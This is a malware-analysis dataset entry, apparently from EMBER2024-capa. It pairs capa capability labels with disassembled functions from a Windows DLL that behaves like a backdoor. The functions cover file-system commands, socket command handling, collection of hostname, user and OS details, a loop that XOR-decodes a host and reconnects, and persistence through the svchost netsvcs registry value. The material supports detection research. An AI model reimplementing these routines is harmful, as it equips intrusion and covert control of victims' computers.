joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001400
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rbx, rcx
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r8, [rsp + 0x40]
lea rdx, str._scmd.exe
lea rcx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_wsprintfA]
mov rdx, qword [rbx + 8]
lea rcx, [rsp + 0x20]
call fcn.180001528
nop
lea rcx, [rsp + 0x20]
call fcn.180001720
mov ebp, eax
lea rcx, [rsp + 0x20]
call fcn.180001724
mov rdi, rax
mov ebx, dword [rbx]
mov edx, 5
mov ecx, ebx
call fcn.180001800
mov rsi, rax
test rax, rax
jne 0x1800014a1
lea rdx, [0x1800356c8]
mov ecx, ebx
call fcn.180007150
jmp 0x1800014f1
mov ecx, pe_nt_image_headers64
call fcn.18000bfec
mov rbx, rax
lea rcx, [rax + 8]
xor edx, edx
mov r8d, 0x108
call fcn.18000d040
mov qword [rbx], rsi
lea rcx, [rbx + 8]
cmp ebp, 2
lea r8, [rsp + 0x40]
jl 0x1800014d4
mov r8, qword [rdi + 8]
mov edx, 0x104
mov r9d, edx
call fcn.180012798
mov rdx, rbx
lea rcx, [0x180001170]
call fcn.1800018d0
nop
lea rcx, [rsp + 0x20]
call fcn.18000159c
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.18000c1a0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1800015c0
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rax, qword [rcx]
mov rsi, rcx
or rcx, 0xffffffffffffffff
mov rdi, rcx
inc rdi
cmp byte [rax + rdi], 0
jne 0x1800015e3
inc edi
mov eax, 2
movsxd rbx, edi
add rbx, rbx
mul rbx
cmovo rax, rcx
mov rcx, rax
call fcn.18000c1c0
mov r8, rbx
mov qword [rsp + 0x78], rax
xor edx, edx
mov rcx, rax
mov r15, rax
call fcn.18000d040
mov r8, qword [rsi]
lea ecx, [rdi + rdi]
mov dword [rsp + 0x28], ecx
mov r9d, edi
xor ecx, ecx
mov qword [rsp + 0x20], r15
mov edx, 8
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rdx, [rsp + 0x70]
mov rcx, r15
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rbp, rax
mov eax, dword [rsp + 0x70]
mov dword [rsi + 8], eax
test rbp, rbp
je 0x1800016fb
xor r12d, r12d
test eax, eax
jle 0x1800016fb
mov r14, rbp
or r15, 0xffffffffffffffff
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea esi, [rax*2 + 2]
mov eax, 2
movsxd rbx, esi
mul rbx
cmovo rax, r15
mov rcx, rax
call fcn.18000c1c0
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.18000d040
mov rdx, qword [r14]
mov r8, rbx
mov rcx, rdi
call fcn.18000d400
and qword [rsp + 0x38], 0
mov r9d, esi
mov rcx, qword [r14]
mov r8, rdi
and qword [rsp + 0x30], 0
xor edx, edx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rdi
call fcn.18000c028
inc r12d
lea r14, [r14 + 8]
cmp r12d, dword [rsp + 0x70]
jl 0x18000166f
mov r15, qword [rsp + 0x78]
mov rcx, r15
call fcn.18000c028
lea r11, [rsp + 0x40]
mov rax, rbp
mov rbx, qword [r11 + 0x40]
mov rbp, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret

Function at 0x1800018d0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
lea rax, [rsp + 0x50]
mov r9, rdx
mov r8, rcx
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x180001901
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x38
ret
Function at 0x180001ba8
Capabilities:
Enumerate files on windows
Get disk information

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
mov r13d, 0x130
mov rbx, rdx
mov rsi, rcx
mov r8d, r13d
lea rcx, [rsp + 0x30]
lea edx, [r13 - 0x31]
call fcn.18000d040
or rax, 0xffffffffffffffff
xor edi, edi
inc rax
cmp byte [rbx + rax], dil
jne 0x180001bfd
test rax, rax
jne 0x180001c90
mov rcx, qword [rsi]
lea r8d, [rax + 4]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], edi
call fcn.180006fd8
lea r8d, [rdi + 0x41]
lea rdx, [0x180035734]
lea rcx, [rsp + 0x58]
call fcn.180002bf8
lea rcx, [rsp + 0x58]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 1
je 0x180001c60
mov rcx, qword [rsi]
lea r8d, [rbx + 0x2d]
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], eax
call fcn.180006fd8
inc edi
cmp edi, 0x1a
jl 0x180001c24
mov r8, r13
lea rcx, [rsp + 0x30]
xor edx, edx
call fcn.18000d040
mov rcx, qword [rsi]
lea rdx, [rsp + 0x30]
mov r8d, 0x2c
call fcn.180006fd8
xor eax, eax
jmp 0x180001de9
mov r8, rbx
lea rdx, str._s.
lea rcx, [rbp + 0x1a0]
mov r14d, edi
call fcn.180002bf8
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x180001ce6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsi]
lea r8d, [r15 + 5]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], eax
call fcn.180006fd8
or eax, r15d
jmp 0x180001de9
lea rcx, [rsi + 0x10]
mov r8, rbx
lea rdx, [0x180035740]
call fcn.180002bf8
mov rcx, qword [rsi]
lea rdx, [rsp + 0x20]
mov r8d, 4
mov dword [rsp + 0x20], edi
call fcn.180006fd8
lea rdx, [0x180035744]
lea rcx, [rbp + 0x8c]
call fcn.180014ff8
test eax, eax
je 0x180001da6
mov rax, qword [rbp + 0x64]
mov ecx, dword [rbp + 0x60]
mov qword [rsp + 0x34], rax
mov rax, qword [rbp + 0x6c]
mov qword [rsp + 0x3c], rax
mov rax, qword [rbp + 0x74]
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x30], ecx
test cl, 0x10
je 0x180001d56
or qword [rsp + 0x50], 0xffffffffffffffff
jmp 0x180001d6b
mov ecx, dword [rbp + 0x7c]
mov eax, dword [rbp + 0x80]
shl rcx, 0x20
add rcx, rax
mov qword [rsp + 0x50], rcx
lea r8, [rbp + 0x8c]
lea rdx, [0x1800356dc]
lea rcx, [rsp + 0x58]
call fcn.180002bf8
mov rcx, qword [rsi]
lea rdx, [rsp + 0x30]
movsxd rbx, eax
lea r8d, [rbx + 0x2d]
call fcn.180006fd8
movsxd rcx, eax
lea rax, [rbx + 0x2d]
cmp rcx, rax
jne 0x180001dbb
inc r14d
lea rdx, [rbp + 0x60]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x180001d10
mov r8, r13
lea rcx, [rsp + 0x30]
xor edx, edx
call fcn.18000d040
mov rcx, qword [rsi]
lea rdx, [rsp + 0x30]
mov r8d, 0x2c
call fcn.180006fd8
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindClose]
mov eax, r14d
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.18000c1a0
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
Function at 0x180001f84
Capabilities:
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rsi, rcx
lea rcx, [rsp + 0x20]
call fcn.180001528
nop
lea rcx, [rsp + 0x20]
call fcn.180001720
mov ebx, eax
lea rcx, [rsp + 0x20]
call fcn.180001724
cmp ebx, 2
je 0x180001fdb
mov dword [rsp + 0x60], 0x57
mov r8d, 4
lea rdx, [rsp + 0x60]
mov rcx, qword [rsi]
call fcn.180006fd8
xor ebx, ebx
jmp 0x180002011
mov rdx, qword [rax + 8]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
mov edi, eax
xor ebx, ebx
test eax, eax
jne 0x180001ff8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov dword [rsp + 0x60], ebx
mov r8d, 4
lea rdx, [rsp + 0x60]
mov rcx, qword [rsi]
call fcn.180006fd8
mov ebx, edi
lea rcx, [rsp + 0x20]
call fcn.18000159c
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x1800020d0
Capabilities:
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov rbx, rcx
lea r8, [rcx + 0x10]
mov r9, rdx
lea rcx, [rbp + 0x60]
lea rdx, [0x180035748]
call fcn.180002bf8
lea rdx, [rbp + 0x60]
mov rcx, rbx
call fcn.180002510
test eax, eax
jne 0x18000215f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbx]
lea rdx, [rsp + 0x20]
mov r8d, 4
mov dword [rsp + 0x20], eax
call fcn.180006fd8
xor eax, eax
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.18000c1a0
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x280
pop rbp
ret
mov rcx, qword [rbx]
lea rdx, [rsp + 0x20]
and dword [rsp + 0x20], 0
mov r8d, 4
call fcn.180006fd8
mov rcx, qword [rbx]
lea rdx, [rsp + 0x30]
or r9d, 0xffffffff
lea r8d, [r9 + 0x2d]
call fcn.180007084
test eax, eax
je 0x18000213d
mov edx, 0x80
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov r8, qword [rsp + 0x50]
lea rdx, [rbp + 0x60]
mov rcx, qword [rbx]
call fcn.180007724
test eax, eax
je 0x18000213d
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x60]
call fcn.18000225c
mov eax, 1
jmp 0x18000213f

Function at 0x1800021cc
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x150
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rbx, rcx
lea r8, [rcx + 0x10]
mov r9, rdx
lea rcx, [rsp + 0x30]
lea rdx, [0x180035748]
call fcn.18000196c
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, eax
xor eax, eax
test edi, edi
jne 0x180002221
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbx]
lea rdx, [rsp + 0x20]
mov r8d, 4
mov dword [rsp + 0x20], eax
call fcn.180006fd8
mov eax, edi
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.18000c1a0
mov rbx, qword [rsp + 0x170]
add rsp, 0x150
pop rdi
ret
Function at 0x18000243c
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x280
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rax, qword [rcx]
lea rdx, [rsp + 0x40]
and dword [rsp + 0x30], 0
mov rbx, rcx
and dword [rsp + 0x34], 0
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rsp + 0x30]
mov dword [rsp + 0x40], 1
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
je 0x1800024f2
mov rcx, qword [rbx]
lea rdx, [rsp + 0x250]
mov r9d, 2
lea r8d, [r9 + 4]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x1800024bb
mov eax, 1
jmp 0x1800024f4
cmp eax, 6
jne 0x1800024f2
lea rdx, str.ABOR_r_n
lea rcx, [rsp + 0x250]
call fcn.180014ff8
test eax, eax
jne 0x1800024f2
mov rcx, qword [rbx]
lea r8d, [rax + 6]
xor r9d, r9d
lea rdx, [rsp + 0x250]
call qword [sym.imp.WS2_32.dll_recv]
jmp 0x1800024b4
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.18000c1a0
add rsp, 0x280
pop rbx
ret

Function at 0x180002510
Capabilities:
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rcx, rdx
mov rbx, rdx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, 0x80
mov rcx, rbx
mov edx, esi
mov edi, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
and qword [rsp + 0x30], 0
lea r8d, [rsi - 0x7e]
mov dword [rsp + 0x28], esi
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x20], 4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov edx, edi
mov rcx, rbx
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180002588
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x180002590
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x1800027e4
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2d0]
sub rsp, 0x3d0
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
mov r13, qword [rbp + 0x330]
mov r12, r9
mov r14b, r8b
mov byte [rsp + 0x30], r8b
mov rsi, rdx
mov qword [rsp + 0x38], rcx
mov r15, rcx
call fcn.18000243c
test eax, eax
jne 0x180002a1f
lea rax, [0x180035748]
xor edi, edi
test r14b, r14b
lea rbx, [r15 + 0x114]
lea rdx, str._s_s.
mov r9, rsi
cmove rdx, rax
lea r8, [r15 + 0x10]
mov rcx, rbx
call fcn.18000196c
mov r9b, 1
lea rdx, [rbp + 0x1b0]
mov r8d, 0x104
mov rcx, rbx
call fcn.1800074f4
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x1b0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x1800028a5
xor eax, eax
jmp 0x180002a22
mov ebx, dword [rbp + 0x338]
lea rdx, [0x180035744]
lea rcx, [rsp + 0x6c]
call fcn.180014ff8
test eax, eax
je 0x1800029fc
lea rdx, [0x180035764]
lea rcx, [rsp + 0x6c]
call fcn.180014ff8
test eax, eax
je 0x1800029fc
mov eax, dword [rsp + 0x40]
mov r9, rsi
mov ecx, dword [rsp + 0x5c]
mov edx, 0x104
mov dword [rbp + 0x80], eax
mov rax, qword [rsp + 0x44]
mov qword [rbp + 0x84], rax
mov rax, qword [rsp + 0x4c]
shl rcx, 0x20
mov qword [rbp + 0x8c], rax
mov rax, qword [rsp + 0x54]
mov qword [rbp + 0x94], rax
mov eax, dword [rsp + 0x60]
add rcx, rax
mov qword [rbp + 0xa0], rcx
lea rcx, [rbp + 0xa8]
test r14b, r14b
je 0x18000294d
lea rax, [rsp + 0x6c]
lea r8, [0x180035748]
mov qword [rsp + 0x20], rax
call fcn.180002c50
jmp 0x180002959
lea r8, [0x1800356dc]
call fcn.180002c50
lea r14d, [rax + 0x2d]
test ebx, ebx
je 0x18000297b
mov r9, r13
lea rdx, [rbp + 0x80]
mov r8d, r14d
xor ecx, ecx
call r12
test eax, eax
je 0x180002a12
inc edi
test byte [rbp + 0x80], 0x10
je 0x1800029dd
cmp byte [rsp + 0x30], 0
lea rcx, [rbp + 0x1b0]
mov r8, rsi
je 0x1800029aa
lea r9, [rsp + 0x6c]
lea rdx, [0x180035748]
call fcn.18000196c
jmp 0x1800029b6
lea rdx, [0x1800356dc]
call fcn.18000196c
mov rcx, qword [rsp + 0x38]
lea rdx, [rbp + 0x1b0]
mov dword [rsp + 0x28], ebx
mov r9, r12
mov r8b, 1
mov qword [rsp + 0x20], r13
call fcn.1800027e4
cmp eax, 0xffffffff
je 0x180002a1f
add edi, eax
test ebx, ebx
jne 0x1800029f7
mov r9, r13
lea rdx, [rbp + 0x80]
mov r8d, r14d
xor ecx, ecx
call r12
test eax, eax
je 0x180002a12
mov r14b, byte [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1800028ab
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindClose]
mov eax, edi
jmp 0x180002a22
or eax, 0xffffffff
mov rcx, qword [rbp + 0x2c0]
xor rcx, rsp
call fcn.18000c1a0
mov rbx, qword [rsp + 0x420]
add rsp, 0x3d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180002d60
Capabilities:
Get hostname
Get session user name
Query or enumerate registry value
Resolve dns

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
mov rbx, rcx
mov esi, 0x80
mov r8d, esi
lea rcx, [rbp - 0x30]
xor edx, edx
call fcn.18000d040
mov r8d, esi
lea rcx, [rsp + 0x50]
xor edx, edx
call fcn.18000d040
mov edx, esi
lea rcx, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x180002f27
lea rcx, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x180002f27
lea r8, [0x180035774]
mov edx, esi
lea rcx, [rsp + 0x50]
call fcn.1800161c4
lea rdx, [rsp + 0x38]
mov dword [rsp + 0x38], gethostname
lea rcx, [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea r8, str.__User:
mov edx, esi
lea rcx, [rsp + 0x50]
call fcn.1800161c4
lea r8, [rbp + 0x50]
mov edx, esi
lea rcx, [rsp + 0x50]
call fcn.1800161c4
lea r8, [rsp + 0x40]
mov dword [rsp + 0x34], 1
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov dword [rsp + 0x30], 0x104
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
lea rax, [rbp + 0x90]
xor r8d, r8d
lea rdx, [0x1800357b0]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
lea rax, [rbp + 0x1a0]
xor r8d, r8d
lea rdx, str.CurrentBuildNumber
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, str._OS:
mov edx, esi
lea rcx, [rbp - 0x30]
call fcn.1800161c4
lea r8, [rbp + 0x90]
mov edx, esi
lea rcx, [rbp - 0x30]
call fcn.1800161c4
lea r8, [0x1800357dc]
mov edx, esi
lea rcx, [rbp - 0x30]
call fcn.1800161c4
lea r8, [rbp + 0x1a0]
mov edx, esi
lea rcx, [rbp - 0x30]
call fcn.1800161c4
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x50]
mov rcx, rbx
lea r8, str._s__s
lea edx, [rsi + 0x48]
call fcn.180002c50
lea eax, [rsi - 0x7f]
jmp 0x180002f29
xor eax, eax
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.18000c1a0
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x180002f50
Capabilities:
Identify system language via api

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx edx, ax
sub edx, 0x409
je 0x180002f92
sub edx, 9
je 0x180002f89
cmp edx, 0x3f2
je 0x180002f80
lea r8, [0x180035800]
jmp 0x180002f99
lea r8, [0x1800357e8]
jmp 0x180002f99
lea r8, [0x1800357f0]
jmp 0x180002f99
lea r8, [0x1800357f8]
mov edx, 5
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.18001286c
Function at 0x180002fac
Capabilities:
Get token membership

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rbp - 8], rax
xor ebx, ebx
mov word [rbp - 0xc], 0x500
lea rax, [rbp - 0x18]
mov qword [rbp - 0x18], rbx
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x10]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov dword [rbp - 0x10], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov rdx, qword [rbp - 0x18]
lea r8, [rbp - 0x20]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp - 0x20], 1
sete bl
mov eax, ebx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.18000c1a0
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rbp
ret

Function at 0x180003050
Capabilities:
Resolve dns

Disassembly:
sub rsp, 0x28
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x180003064
add rsp, 0x28
ret
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
add rsp, 0x28
jmp qword [sym.imp.WS2_32.dll_inet_ntoa]
Function at 0x180003078
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x150
mov rax, qword [0x18004c120]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor ecx, ecx
call fcn.180016280
mov rcx, rax
call fcn.180016268
call fcn.18001623c
cmp byte [0x18004f424], 0
jne 0x1800030dd
lea rax, [0x18004c050]
mov ecx, 0x63
xor byte [rax], 0x85
inc rax
sub ecx, 1
jne 0x1800030cb
mov byte [0x18004f424], 1
mov rdi, qword [rsp + 0x20]
mov ebx, 6
mov byte [0x18004c042], 1
mov r14d, 0x7530
lea rcx, [0x18004c050]
call fcn.180003050
mov rsi, rax
test rax, rax
je 0x1800031ec
lea rdx, str.127.0.0.1
mov rcx, rax
call fcn.180014ff8
test eax, eax
je 0x1800031ec
mov r8, rsi
lea rcx, [rsp + 0x30]
mov edx, 0x104
call fcn.18001286c
xor eax, eax
cmp rbx, 6
cmovl rax, rbx
mov rbx, rax
cmp rax, 6
jge 0x18000316e
lea rax, [0x18004c0b8]
movzx edx, word [rax + rbx*4]
lea rcx, [rsp + 0x30]
call fcn.180006f84
mov rdi, rax
test rax, rax
jne 0x18000316e
inc rbx
cmp rbx, 6
jl 0x180003148
lea rcx, [rdi - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1800031e6
lea rcx, [rsp + 0x30]
call fcn.180002d60
test eax, eax
jne 0x180003190
mov rcx, rdi
call fcn.180007044
jmp 0x1800031ec
mov r9b, 1
xor r8d, r8d
mov rdx, rdi
xor ecx, ecx
call fcn.180006b54
test eax, eax
jne 0x1800031b2
inc rbx
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180003186
lea rax, [rsp + 0x30]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1800031bb
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.180006fd8
mov dl, 0xf4
mov rcx, rdi
call fcn.180007108
mov rcx, rdi
call fcn.18000a6ec
jmp 0x1800031f5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x18004c042], 0
jne 0x1800030f4
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.18000c1a0
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret
Function at 0x180004588
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rsi
push rdi
push r14
sub rsp, 0x40
mov qword [rsp + 0x38], rsp
mov rsi, rcx
mov dword [rax + 0x18], 7
and dword [rax + 0x10], 0
lea rax, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, eax
test eax, eax
jne 0x1800046ec
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x70]
xor r8d, r8d
lea rdx, str.netsvcs
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebx, eax
test eax, eax
jne 0x1800046ec
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [rsp + 0x68]
inc edx
add edx, eax
mov r14d, edx
mov dword [rsp + 0x68], edx
mov ecx, edx
call fcn.18000c1c0
mov rdi, rax
mov qword [rsp + 0x30], rax
test rax, rax
jne 0x180004642
or eax, 0xffffffff
jmp 0x1800046ee
mov r8d, dword [rsp + 0x68]
xor edx, edx
mov rcx, rdi
call fcn.18000d040
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x70]
xor r8d, r8d
lea rdx, str.netsvcs
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ebx, eax
test eax, eax
jne 0x1800046e4
mov ecx, dword [rsp + 0x68]
dec rcx
add rcx, rdi
mov al, byte [rsi]
mov byte [rcx], al
inc rsi
inc rcx
test al, al
jne 0x18000468a
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
mov r9d, dword [rsp + 0x70]
xor r8d, r8d
lea rdx, str.netsvcs
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, eax
test eax, eax
jne 0x1800046e4
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [0x1800046e0]
mov rcx, qword [rsp + 0x38]
call fcn.18000ebdc
nop
nop
xor eax, eax
jmp 0x1800046ee
mov rcx, rdi
call fcn.18000c028
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret